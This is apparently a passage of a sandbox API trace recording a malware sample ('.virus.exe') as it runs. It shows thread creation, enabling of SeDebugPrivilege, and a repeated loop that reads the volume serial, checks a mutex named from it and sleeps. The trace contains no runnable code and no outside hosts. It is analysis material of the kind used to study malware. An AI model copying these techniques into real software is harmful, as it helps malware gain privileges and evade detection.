0x34 [0046.134] GetProcessHeap () returned 0x6c0000 [0046.134] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6db480 | out: hHeap=0x6c0000) returned 1 [0046.134] GetProcessHeap () returned 0x6c0000 [0046.134] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6dacc0 | out: hHeap=0x6c0000) returned 1 [0046.134] GetProcessHeap () returned 0x6c0000 [0046.134] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x20a) returned 0x6db480 [0046.134] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x6db480, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cusersuserappdatalocaltemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 0x72 [0046.134] GetProcessHeap () returned 0x6c0000 [0046.134] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6db480 | out: hHeap=0x6c0000) returned 1 [0046.134] GetProcessHeap () returned 0x6c0000 [0046.134] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x182) returned 0x6db480 [0046.134] GetProcessHeap () returned 0x6c0000 [0046.134] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x24e) returned 0x6db610 [0046.134] GetProcessHeap () returned 0x6c0000 [0046.134] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x98) returned 0x6db268 [0046.134] GetProcessHeap () returned 0x6c0000 [0046.134] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6db268, Size=0x132) returned 0x6db868 [0046.134] GetProcessHeap () returned 0x6c0000 [0046.134] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x6a) returned 0x6dacc0 [0046.134] GetProcessHeap () returned 0x6c0000 [0046.135] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6da6c8 | out: hHeap=0x6c0000) returned 1 [0046.135] GetProcessHeap () returned 0x6c0000 [0046.135] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6da8e0 | out: hHeap=0x6c0000) returned 1 [0046.135] GetProcessHeap () returned 0x6c0000 [0046.135] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6db310 | out: hHeap=0x6c0000) returned 1 [0046.135] GetProcessHeap () returned 0x6c0000 [0046.135] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6db3b0 | out: hHeap=0x6c0000) returned 1 [0046.135] GetProcessHeap () returned 0x6c0000 [0046.135] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d1710 | out: hHeap=0x6c0000) returned 1 [0046.135] GetProcessHeap () returned 0x6c0000 [0046.135] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6da248 | out: hHeap=0x6c0000) returned 1 [0046.135] GetProcessHeap () returned 0x6c0000 [0046.135] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6da3e0 | out: hHeap=0x6c0000) returned 1 [0046.135] GetProcessHeap () returned 0x6c0000 [0046.135] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6da538 | out: hHeap=0x6c0000) returned 1 [0046.135] GetProcessHeap () returned 0x6c0000 [0046.135] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x14) returned 0x6d18c0 [0046.135] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x12e22ee, lpParameter=0x6d18c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa8 [0046.136] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x12e239a, lpParameter=0x3bf72c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xac [0046.148] GetProcessHeap () returned 0x6c0000 [0046.148] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x14) returned 0x6da288 [0046.148] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x12e2161, lpParameter=0x6da288, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb0 [0046.149] GetProcessHeap () returned 0x6c0000 [0046.149] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x14) returned 0x6da2c8 [0046.149] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x12e1a76, lpParameter=0x6da2c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb4 [0046.150] GetProcessHeap () returned 0x6c0000 [0046.150] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x14) returned 0x6da308 [0046.150] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x12e1cc5, lpParameter=0x6da308, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb8 [0046.151] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0 [0046.483] WaitForMultipleObjects (nCount=0x4, lpHandles=0x3bf788*=0xa8, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 4 os_tid = 0xaa4 [0046.153] GetProcessHeap () returned 0x6c0000 [0046.153] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x440) returned 0x6da538 [0046.153] GetProcessHeap () returned 0x6c0000 [0046.153] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x30) returned 0x6da348 [0046.153] GetCurrentProcess () returned 0xffffffff [0046.153] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0xd6f8a0 | out: TokenHandle=0xd6f8a0*=0xbc) returned 1 [0046.153] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0xd6f898 | out: lpLuid=0xd6f898*(LowPart=0x14, HighPart=0)) returned 1 [0046.191] AdjustTokenPrivileges (in: TokenHandle=0xbc, DisableAllPrivileges=0, NewState=0xd6f888*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0046.191] CloseHandle (hObject=0xbc) returned 1 [0046.191] GetProcessHeap () returned 0x6c0000 [0046.191] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6da348 | out: hHeap=0x6c0000) returned 1 [0046.191] GetProcessHeap () returned 0x6c0000 [0046.191] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x434) returned 0x6f6160 [0046.191] GetProcessHeap () returned 0x6c0000 [0046.191] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6f6160 | out: hHeap=0x6c0000) returned 1 [0046.191] GetProcessHeap () returned 0x6c0000 [0046.191] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6da538 | out: hHeap=0x6c0000) returned 1 [0046.191] GetProcessHeap () returned 0x6c0000 [0046.191] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d18c0 | out: hHeap=0x6c0000) returned 1 Thread: id = 5 os_tid = 0xa98 [0046.171] GetVersion () returned 0x1db10106 [0046.171] GetCurrentProcess () returned 0xffffffff [0046.171] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0xc4fa5c | out: TokenHandle=0xc4fa5c*=0xfc) returned 1 [0046.171] GetTokenInformation (in: TokenHandle=0xfc, TokenInformationClass=0x14, TokenInformation=0xc4fa54, TokenInformationLength=0x4, ReturnLength=0xc4fa58 | out: TokenInformation=0xc4fa54, ReturnLength=0xc4fa58) returned 1 [0046.172] CloseHandle (hObject=0xfc) returned 1 [0046.172] GetProcessHeap () returned 0x6c0000 [0046.172] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x20) returned 0x6d9d78 [0046.172] GetProcessHeap () returned 0x6c0000 [0046.172] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x1e) returned 0x6d9e90 [0046.172] GetProcessHeap () returned 0x6c0000 [0046.172] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x1e) returned 0x6d9eb8 [0046.172] GetProcessHeap () returned 0x6c0000 [0046.172] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x90) returned 0x6e1018 [0046.172] GetProcessHeap () returned 0x6c0000 [0046.172] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6e1018 | out: hHeap=0x6c0000) returned 1 [0046.172] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6d9e90, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0046.172] GetProcessHeap () returned 0x6c0000 [0046.173] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d9eb8 | out: hHeap=0x6c0000) returned 1 [0046.173] GetProcessHeap () returned 0x6c0000 [0046.173] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d9d78 | out: hHeap=0x6c0000) returned 1 [0046.173] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xc4f9e4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xc4f9e4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0046.173] GetProcessHeap () returned 0x6c0000 [0046.173] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d9e90 | out: hHeap=0x6c0000) returned 1 [0046.173] GetProcessHeap () returned 0x6c0000 [0046.173] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x40) returned 0x6d4040 [0046.173] GetProcessHeap () returned 0x6c0000 [0046.173] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x3a) returned 0x6d4088 [0046.173] GetProcessHeap () returned 0x6c0000 [0046.173] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d4088, Size=0x72) returned 0x6cf9a0 [0046.173] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0xfc [0046.173] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0x0) returned 0x102 [0046.173] CloseHandle (hObject=0xfc) returned 1 [0046.173] GetProcessHeap () returned 0x6c0000 [0046.173] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d4040 | out: hHeap=0x6c0000) returned 1 [0046.173] GetProcessHeap () returned 0x6c0000 [0046.173] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6cf9a0 | out: hHeap=0x6c0000) returned 1 [0046.173] Sleep (dwMilliseconds=0x3e8) [0047.691] GetProcessHeap () returned 0x6c0000 [0047.691] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x20) returned 0x6d9ff8 [0047.691] GetProcessHeap () returned 0x6c0000 [0047.691] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x1e) returned 0x6da020 [0047.691] GetProcessHeap () returned 0x6c0000 [0047.691] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x1e) returned 0x6da048 [0047.691] GetProcessHeap () returned 0x6c0000 [0047.691] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x90) returned 0x6da2c8 [0047.691] GetProcessHeap () returned 0x6c0000 [0047.691] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6da2c8 | out: hHeap=0x6c0000) returned 1 [0047.691] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6da020, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0047.691] GetProcessHeap () returned 0x6c0000 [0047.691] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6da048 | out: hHeap=0x6c0000) returned 1 [0047.691] GetProcessHeap () returned 0x6c0000 [0047.691] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d9ff8 | out: hHeap=0x6c0000) returned 1 [0047.691] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xc4f9e4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xc4f9e4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0047.692] GetProcessHeap () returned 0x6c0000 [0047.692] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6da020 | out: hHeap=0x6c0000) returned 1 [0047.692] GetProcessHeap () returned 0x6c0000 [0047.692] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x40) returned 0x6d4280 [0047.692] GetProcessHeap () returned 0x6c0000 [0047.692] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x3a) returned 0x6d42c8 [0047.692] GetProcessHeap () returned 0x6c0000 [0047.692] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d42c8, Size=0x72) returned 0x6cfba0 [0047.692] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x114 [0047.692] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x0) returned 0x102 [0047.692] CloseHandle (hObject=0x114) returned 1 [0047.692] GetProcessHeap () returned 0x6c0000 [0047.692] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d4280 | out: hHeap=0x6c0000) returned 1 [0047.692] GetProcessHeap () returned 0x6c0000 [0047.692] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6cfba0 | out: hHeap=0x6c0000) returned 1 [0047.692] Sleep (dwMilliseconds=0x3e8) [0048.726] GetProcessHeap () returned 0x6c0000 [0048.726] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x20) returned 0x6da160 [0048.726] GetProcessHeap () returned 0x6c0000 [0048.727] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x1e) returned 0x6da070 [0048.727] GetProcessHeap () returned 0x6c0000 [0048.727] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x1e) returned 0x6da098 [0048.727] GetProcessHeap () returned 0x6c0000 [0048.727] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x90) returned 0x6f84e8 [0048.727] GetProcessHeap () returned 0x6c0000 [0048.727] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6f84e8 | out: hHeap=0x6c0000) returned 1 [0048.727] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6da070, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0048.727] GetProcessHeap () returned 0x6c0000 [0048.727] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6da098 | out: hHeap=0x6c0000) returned 1 [0048.727] GetProcessHeap () returned 0x6c0000 [0048.727] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6da160 | out: hHeap=0x6c0000) returned 1 [0048.727] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xc4f9e4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xc4f9e4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0048.727] GetProcessHeap () returned 0x6c0000 [0048.727] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6da070 | out: hHeap=0x6c0000) returned 1 [0048.727] GetProcessHeap () returned 0x6c0000 [0048.727] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x40) returned 0x6d4310 [0048.727] GetProcessHeap () returned 0x6c0000 [0048.727] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x3a) returned 0x6d4358 [0048.727] GetProcessHeap () returned 0x6c0000 [0048.727] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d4358, Size=0x72) returned 0x6cfc20 [0048.727] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x128 [0048.727] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x0) returned 0x102 [0048.727] CloseHandle (hObject=0x128) returned 1 [0048.728] GetProcessHeap () returned 0x6c0000 [0048.728] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d4310 | out: hHeap=0x6c0000) returned 1 [0048.728] GetProcessHeap () returned 0x6c0000 [0048.728] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6cfc20 | out: hHeap=0x6c0000) returned 1 [0048.728] Sleep (dwMilliseconds=0x3e8) [0050.006] GetProcessHeap () returned 0x6c0000 [0050.006] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x20) returned 0x6f88a8 [0050.006] GetProcessHeap () returned 0x6c0000 [0050.006] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x1e) returned 0x6f8920 [0050.006] GetProcessHeap () returned 0x6c0000 [0050.006] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x1e) returned 0x6f87b8 [0050.006] GetProcessHeap () returned 0x6c0000 [0050.006] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x90) returned 0x6fc270 [0050.006] GetProcessHeap () returned 0x6c0000 [0050.006] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6fc270 | out: hHeap=0x6c0000) returned 1 [0050.006] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6f8920, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0050.006] GetProcessHeap () returned 0x6c0000 [0050.006] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6f87b8 | out: hHeap=0x6c0000) returned 1 [0050.007] GetProcessHeap () returned 0x6c0000 [0050.007] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6f88a8 | out: hHeap=0x6c0000) returned 1 [0050.007] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xc4f9e4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xc4f9e4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0050.007] GetProcessHeap () returned 0x6c0000 [0050.007] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6f8920 | out: hHeap=0x6c0000) returned 1 [0050.007] GetProcessHeap () returned 0x6c0000 [0050.007] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x40) returned 0x6d4430 [0050.007] GetProcessHeap () returned 0x6c0000 [0050.007] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x3a) returned 0x6d4478 [0050.007] GetProcessHeap () returned 0x6c0000 [0050.007] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d4478, Size=0x72) returned 0x6cfea0 [0050.007] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x170 [0050.007] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x0) returned 0x102 [0050.007] CloseHandle (hObject=0x170) returned 1 [0050.007] GetProcessHeap () returned 0x6c0000 [0050.007] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d4430 | out: hHeap=0x6c0000) returned 1 [0050.007] GetProcessHeap () returned 0x6c0000 [0050.007] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6cfea0 | out: hHeap=0x6c0000) returned 1 [0050.007] Sleep (dwMilliseconds=0x3e8) [0051.026] GetProcessHeap () returned 0x6c0000 [0051.026] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x20) returned 0x6f8920 [0051.026] GetProcessHeap () returned 0x6c0000 [0051.026] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x1e) returned 0x6f88a8 [0051.026] GetProcessHeap () returned 0x6c0000 [0051.026] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x1e) returned 0x6f87b8 [0051.026] GetProcessHeap () returned 0x6c0000 [0051.026] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x90) returned 0x6fc270 [0051.026] GetProcessHeap () returned 0x6c0000 [0051.026] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6fc270 | out: hHeap=0x6c0000) returned 1 [0051.026] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6f88a8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0051.026] GetProcessHeap () returned 0x6c0000 [0051.026] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6f87b8 | out: hHeap=0x6c0000) returned 1 [0051.026] GetProcessHeap () returned 0x6c0000 [0051.026] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6f8920 | out: hHeap=0x6c0000) returned 1 [0051.026] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xc4f9e4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xc4f9e4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0051.027] GetProcessHeap () returned 0x6c0000 [0051.027] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6f88a8 | out: hHeap=0x6c0000) returned 1 [0051.027] GetProcessHeap () returned 0x6c0000 [0051.027] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x40) returned 0x6d4430 [0051.027] GetProcessHeap () returned 0x6c0000 [0051.027] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x3a) returned 0x6d4478 [0051.027] GetProcessHeap () returned 0x6c0000 [0051.027] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d4478, Size=0x72) returned 0x6cfea0 [0051.027] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x170 [0051.027] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x0) returned 0x102 [0051.027] CloseHandle (hObject=0x170) returned 1 [0051.028] GetProcessHeap () returned 0x6c0000 [0051.028] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d4430 | out: hHeap=0x6c0000) returned 1 [0051.028] GetProcessHeap () returned 0x6c0000 [0051.028] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6cfea0 | out: hHeap=0x6c0000) returned 1 [0051.028] Sleep (dwMilliseconds=0x3e8) [0052.473] GetProcessHeap () returned 0x6c0000 [0052.473] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x20) returned 0x6f88a8 [0052.473] GetProcessHeap () returned 0x6c0000 [0052.473] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x1e) returned 0x6f8920 [0052.473] GetProcessHeap () returned 0x6c0000 [0052.473] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x1e) returned 0x6f87b8 [0052.473] GetProcessHeap () returned 0x6c0000 [0052.473] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x90) returned 0x6fc270 [0052.473] GetProcessHeap () returned 0x6c0000 [0052.473] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6fc270 | out: hHeap=0x6c0000) returned 1 [0052.473] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6f8920, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0052.473] GetProcessHeap () returned 0x6c0000 [0052.473] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6f87b8 | out: hHeap=0x6c0000) returned 1 [0052.473] GetProcessHeap () returned 0x6c0000 [0052.473] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6f88a8 | out: hHeap=0x6c0000) returned 1 [0052.473] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xc4f9e4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xc4f9e4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0052.474] GetProcessHeap () returned 0x6c0000 [0052.474] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6f8920 | out: hHeap=0x6c0000) returned 1 [0052.474] GetProcessHeap () returned 0x6c0000 [0052.474] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x40) returned 0x6d4430 [0052.474] GetProcessHeap () returned 0x6c0000 [0052.474] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x3a) returned 0x6d4478 [0052.474] GetProcessHeap () returned 0x6c0000 [0052.474] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d4478, Size=0x72) returned 0x6cfea0 [0052.474] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x170 [0052.474] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x0) returned 0x102 [0052.475] CloseHandle (hObject=0x170) returned 1 [0052.475] GetProcessHeap () returned 0x6c0000 [0052.475] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d4430 | out: hHeap=0x6c0000) returned 1 [0052.475] GetProcessHeap () returned 0x6c0000 [0052.475] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6cfea0 | out: hHeap=0x6c0000) returned 1 [0052.475] Sleep (dwMilliseconds=0x3e8) [0054.703] GetProcessHeap () returned 0x6c0000 [0054.703] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x20) returned 0x6f8920 [0054.703] GetProcessHeap () returned 0x6c0000 [0054.703] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x1e) returned 0x6f88a8 [0054.703] GetProcessHeap () returned 0x6c0000 [0054.703] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x1e) returned 0x6f87b8 [0054.703] GetProcessHeap () returned 0x6c0000 [0054.703] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x90) returned 0x6fc270 [0054.703] GetProcessHeap () returned 0x6c0000 [0054.703] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6fc270 | out: hHeap=0x6c0000) returned 1 [0054.703] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6f88a8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0054.703] GetProcessHeap () returned 0x6c0000 [0054.703] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6f87b8 | out: hHeap=0x6c0000) returned 1 [0054.703] GetProcessHeap () returned 0x6c0000 [0054.703] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6f8920 | out: hHeap=0x6c0000) returned 1 [0054.703] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xc4f9e4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xc4f9e4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0054.704] GetProcessHeap () returned 0x6c0000 [0054.704] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6f88a8 | out: hHeap=0x6c0000) returned 1 [0054.704] GetProcessHeap () returned 0x6c0000 